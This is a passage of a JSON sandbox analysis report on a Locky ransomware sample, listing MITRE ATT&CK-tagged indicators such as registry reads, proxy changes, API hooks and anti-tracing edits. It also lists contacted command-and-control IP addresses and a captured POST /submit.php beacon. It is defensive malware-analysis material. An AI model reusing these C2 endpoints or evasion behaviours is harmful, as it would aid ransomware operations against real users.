\"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-193","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to query volume/memory size (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\".exe\" trying to touch file \"%PROGRAMFILES%\\(x86)\\Wireshark\\0X64BC6D21.D\"\n \".exe\" trying to touch file \"%PROGRAMFILES%\\WIRESHARK\\0X64BC6D21.D\"","id":"api-113","level":"suspicious","mitre_attack_id":"T1083","name":"Touches files in program files directory","origin":"API Call","relevance":3,"sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found string \"Microsoft Enhanced RSA and AES Cryptographic Provider\" (Indicator: \"aes\"; Source: \"00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp\")\n Found string \".aes\" (Indicator: \"aes\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-57","level":"informative","mitre_attack_id":"T1027","name":"Contains CRYPTO related strings","origin":"File/Memory","relevance":3,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; File: \"locky.exe\")","id":"string-320","level":"informative","mitre_attack_id":"T1564.003","name":"Contains ability to pass information to a window procedure (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"\"49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.bin\" was detected as \"VC8 -> Microsoft Corporation\"","id":"static-18","level":"informative","mitre_attack_id":"T1045","name":"Matched Compiler/Packer signature","origin":"Static Parser","relevance":10,"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"General","description":"\"POST /submit.php HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\nHost: 82.146.37.200\nContent-Length: 100\nConnection: Keep-Alive\nCache-Control: no-cache\" with no payload","id":"network-4","level":"suspicious","name":"POSTs files to a webserver","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"General","description":"\"locky.exe\" has an executable section named \".text\"","id":"static-80","level":"informative","name":"PE file contains executable sections","origin":"Static Parser","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"locky.exe\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-535","level":"informative","mitre_attack_id":"T1105","name":"Contains ability to write files (API string)","origin":"File/Memory","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"locky.exe\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-345","level":"informative","mitre_attack_id":"T1112","name":"Contains ability to disable/close registry key (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; File: \"locky.exe\")\n Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-322","level":"informative","mitre_attack_id":"T1570","name":"Contains ability to move file or directory (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-132","level":"informative","mitre_attack_id":"T1098","name":"Contains ability to modify the user configuration/privilege (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; File: \"locky.exe\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; File: \"locky.exe\")\n Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; File: \"locky.exe\")\n Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; File: \"locky.exe\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; File: \"locky.exe\")","id":"string-550","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to find and load resources of specific modules (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found PE header \"MZ\" - Source: \"00000000-00004216.00000000.188436.00490000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00004216.00000001.190360.00490000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00004216.00000002.192284.00490000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00004216.00000003.199724.00490000.00000040.mdmp\")","id":"memorydump-8","level":"informative","mitre_attack_id":"T1055","name":"Found PE header in memory","origin":"Memory Dumps","relevance":1,"sources":[{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Remote Access Related","description":"Found reference to API \"WTSEnumerateSessionsW\" (Indicator: \"WTSEnumerateSessions\"; File: \"locky.exe\")","id":"string-546","level":"informative","mitre_attack_id":"T1018","name":"Contains ability to retrieve remote session information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"ObtainUserAgentString\" (Indicator: \"ObtainUserAgentString\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-157","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to retrieve user-agents (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"$38","id":"hooks-8","level":"suspicious","mitre_attack_id":"T1179","name":"Installs hooks/patches the running process","origin":"Hook Detection","relevance":10,"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"General","description":"\"locky.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 75940000\n \"locky.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 73D20000","id":"module-9","level":"informative","mitre_attack_id":"T1027","name":"Loads the Bcrypt module DLL","origin":"Loaded Module","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"locky.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00008908)","id":"api-147","level":"informative","mitre_attack_id":"T1614","name":"Calls an API typically used to retrieve local language","origin":"API Call","relevance":3,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","id":"registry-35","level":"suspicious","mitre_attack_id":"T1012","name":"Reads the active computer name","origin":"Registry Access","relevance":5,"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to import cryptographic keys (seen in ransomware)\n Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: Contains XOR operation loops [Stream disassembly]","id":"summary-28","level":"informative","mitre_attack_id":"T1027","name":"Shows ability to obfuscate file or information","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Anti-Reverse Engineering","description":"\"locky.exe\" has section name .text with entropy \"6.99035697568\"\n \"locky.exe\" has section name .rdata with entropy \"6.59343698418\"\n \"locky.exe\" has section name .data with entropy \"6.97218572734\"","id":"static-6","level":"suspicious","mitre_attack_id":"T1027.009","name":"section contains high entropy","origin":"Static Parser","relevance":1,"sources":[{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"RegQueryValueExW\" (Indicator: \"RegQueryValue\"; File: \"locky.exe\")\n Found reference to API \"RegOpenKeyExW\" (Indicator: \"RegOpenKey\"; File: \"locky.exe\")\n Found reference to API \"RegOpenKeyW\" (Indicator: \"RegOpenKey\"; File: \"locky.exe\")\n Found reference to API \"RegQueryInfoKeyW\" (Indicator: \"RegQueryInfoKey\"; File: \"locky.exe\")\n Found reference to API \"RegEnumKeyExW\" (Indicator: \"RegEnumKey\"; File: \"locky.exe\")\n Found reference to API \"RegEnumValueW\" (Indicator: \"RegEnumValue\"; File: \"locky.exe\")\n Found reference to API \"RegOpenKeyExA\" (Indicator: \"RegOpenKey\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found reference to API \"RegQueryValueExA\" (Indicator: \"RegQueryValue\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-229","level":"informative","mitre_attack_id":"T1012","name":"Contains ability to query registry keys (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"Observed system executable string:\"%WINDIR%\\system32\\uxtheme.dll\" [Source: 00000000-00004216-00000C28-1951810198]","id":"string-625","level":"informative","mitre_attack_id":"T1083","name":"References Windows filepaths for DLLs (possible dropped files)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; File: \"locky.exe\")\n Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00008908.00000001.334926.02190000.00000040.mdmp\")","id":"string-107","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve the host's architecture (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"locky.exe\")\n Found reference to API \"GetProcessWindowStation\" (Indicator: \"GetProcessWindowStation\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found reference to API \"GetUserObjectInformationW\" (Indicator: \"GetUserObjectInformation\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-121","level":"informative","mitre_attack_id":"T1033","name":"Contains ability to retrieve usernames and/or user information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"PathFileExistsW\" (Indicator: \"PathFileExist\"; File: \"locky.exe\")","id":"string-140","level":"informative","mitre_attack_id":"T1083","name":"Contains ability to verify if file exist on disk (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$39","id":"api-161","level":"informative","mitre_attack_id":"T1083","name":"Tries to access non-existent files (non-executable)","origin":"API Call","relevance":3,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"ShellExecuteW\" (Indicator: \"ShellExecute\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-240","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to execute an application (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Observed api string:\"CreateCompatibleBitmap\" [Source: 49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.bin]","id":"string-78","level":"informative","mitre_attack_id":"T1113","name":"Contains ability to take screen capture of the target machine (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"InternetReadFile@WININET.DLL\" in \".exe\"\n \"HttpOpenRequestW@WININET.DLL\" in \".exe\"\n \"HttpOpenRequestA@WININET.DLL\" in \".exe\"\n \"InternetOpenW@WININET.DLL\" in \".exe\"\n \"InternetOpenA@WININET.DLL\" in \".exe\"","id":"hooks-5","level":"malicious","mitre_attack_id":"T1056.004","name":"Hooks internet related APIs","origin":"Hook Detection","relevance":10,"sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"locky.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","id":"api-264","level":"informative","mitre_attack_id":"T1055.003","name":"Creates a thread in a self process","origin":"API Call","relevance":3,"sources":[{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"InternetConnectA\" (Indicator: \"InternetConnect\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-538","level":"informative","mitre_attack_id":"T1071","name":"Contains ability to create a HTTP or FTP session (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"\"104.43.139.144:443\"\n \"93.170.131.108:80\"\n \"51.254.240.45:80\"\n \"5.135.76.18:80\"\n \"82.146.37.200:80\"\n \"31.41.44.130:80\"","id":"network-1","level":"informative","name":"Contacts server","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"General","description":"\"locky.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 76F00000","id":"module-10","level":"informative","mitre_attack_id":"T1129","name":"Loads the RPC (Remote Procedure Call) module DLL","origin":"Loaded Module","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Network Related","description":"Found http requests in header \"POST /submit.php\"","id":"network-62","level":"informative","mitre_attack_id":"T1071.001","name":"Communicates with HTTP webserver (GET/POST requests)","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Network Related","description":"\"locky.exe\" called \"HttpOpenRequestA\" with parameter HTTP method:\"POST\" object: /submit.php\" - (UID: 00000000-00008908)","id":"api-143","level":"informative","mitre_attack_id":"T1071","name":"Calls an API typically used to create a new HTTP request","origin":"API Call","relevance":3,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetIpForwardTable\" (Indicator: \"GetIpForwardTable\"; File: \"locky.exe\")","id":"string-87","level":"informative","mitre_attack_id":"T1016","name":"Contains ability retrieve IPv4 mapping information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"$3a","id":"api-7","level":"informative","mitre_attack_id":"T1129","name":"Loads modules at runtime","origin":"API Call","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"ENABLEFILETRACING\"; Value: \"00000000\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"ENABLECONSOLETRACING\"; Value: \"00000000\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"FILETRACINGMASK\"; Value: \"0000FFFF\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"CONSOLETRACINGMASK\"; Value: \"0000FFFF\")","id":"registry-30","level":"malicious","name":"Modifies file/console tracing settings (often used to hide footprints on system)","origin":"Registry Access","relevance":5,"sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"category":"General","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: locky.exe)","id":"static-79","level":"informative","mitre_attack_id":"T1027.007","name":"Contains ability to dynamically determine API calls","origin":"Static Parser","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"locky.exe\" queries basic process information of the \"C:\\locky.exe\" (UID: 8908)","id":"api-235","level":"informative","mitre_attack_id":"T1057","name":"Queries basic information of the specified process","origin":"API Call","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; File: \"locky.exe\")\n Found reference to API \"LookupPrivilegeValueW\" (Indicator: \"LookupPrivilegeValue\"; File: \"locky.exe\")","id":"string-77","level":"informative","mitre_attack_id":"T1134","name":"Contains ability to modify access token privileges (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"\".exe\" at 00064342-00003568-00000033-8863937","id":"api-10","level":"suspicious","name":"Queries kernel debugger information","origin":"API Call","relevance":6,"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"category":"System Security","description":"\".exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"00000000\")\n \".exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\")\n \".exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\")","id":"registry-27","level":"suspicious","mitre_attack_id":"T1112","name":"Modifies proxy settings","origin":"Registry Access","relevance":10,"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"Found reference to API \"CreateServiceW\" (Indicator: \"CreateService\"; File: \"locky.exe\")","id":"string-199","level":"informative","mitre_attack_id":"T1543.003","name":"Contains ability to create a service (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"locky.exe\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; File: \"locky.exe\")","id":"string-208","level":"informative","mitre_attack_id":"T1564.003","name":"Contains ability to show a graphical window (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Ransomware/Banking","description":"Found reference to API \"Wow64DisableWow64FsRedirection\" (Indicator: \"Wow64DisableWow64FsRedirection\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-553","level":"informative","mitre_attack_id":"T1070","name":"Contains ability to modify file system redirection (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"locky.exe\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp, 00000000-00008908.00000001.334926.02190000.00000040.mdmp\")","id":"string-317","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to retrieve address of exported function from a DLL (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"GetForegroundWindow@USER32.dll at 20205-556-00402B55","id":"stream-125","level":"suspicious","mitre_attack_id":"T1010","name":"Contains ability to retrieve open application windows","origin":"Hybrid Analysis Technology","relevance":3,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"GetTickCount@KERNEL32.dll at 20205-1-004074E6","id":"stream-87","level":"informative","mitre_attack_id":"T1497","name":"Contains ability to detect virtual environment (API)","origin":"Hybrid Analysis Technology","relevance":3,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"General","description":"$3b","id":"network-4","level":"suspicious","mitre_attack_id":"T1041","name":"POSTs data to a webserver","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","id":"registry-25","level":"suspicious","name":"Reads information about supported languages","origin":"Registry Access","relevance":3,"sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; File: \"locky.exe\")\n Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-304","level":"informative","mitre_attack_id":"T1112","name":"Contains ability to modify registry key/value (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"locky.exe\" called \"ObtainUserAgentString\" (UID: 00000000-00008908)","id":"api-279","level":"informative","mitre_attack_id":"T1106","name":"Calls an API typically used to retrieve User-Agent","origin":"API Call","relevance":3,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","id":"registry-1","level":"suspicious","mitre_attack_id":"T1012","name":"Reads the cryptographic machine GUID","origin":"Registry Access","relevance":10,"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"CreateCompatibleDC\" (Indicator: \"CreateCompatibleDC\"; File: \"locky.exe\")\n Found reference to API \"CreateCompatibleBitmap\" (Indicator: \"CreateCompatibleBitmap\"; File: \"locky.exe\")\n Found reference to API \"GetWindowDC\" (Indicator: \"GetWindowDC\"; File: \"locky.exe\")\n Found reference to API \"GetDesktopWindow\" (Indicator: \"GetDesktopWindow\"; File: \"locky.exe\")\n Found reference to API \"GetDC\" (Indicator: \"GetDC\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found reference to API \"CreateCompatibleDC\" (Indicator: \"CreateCompatibleDC\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found reference to API \"CreateCompatibleBitmap\" (Indicator: \"CreateCompatibleBitmap\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found reference to API \"GetDIBits\" (Indicator: \"GetDIBits\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-78","level":"informative","mitre_attack_id":"T1113","name":"Contains ability to capture screen (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Unusual 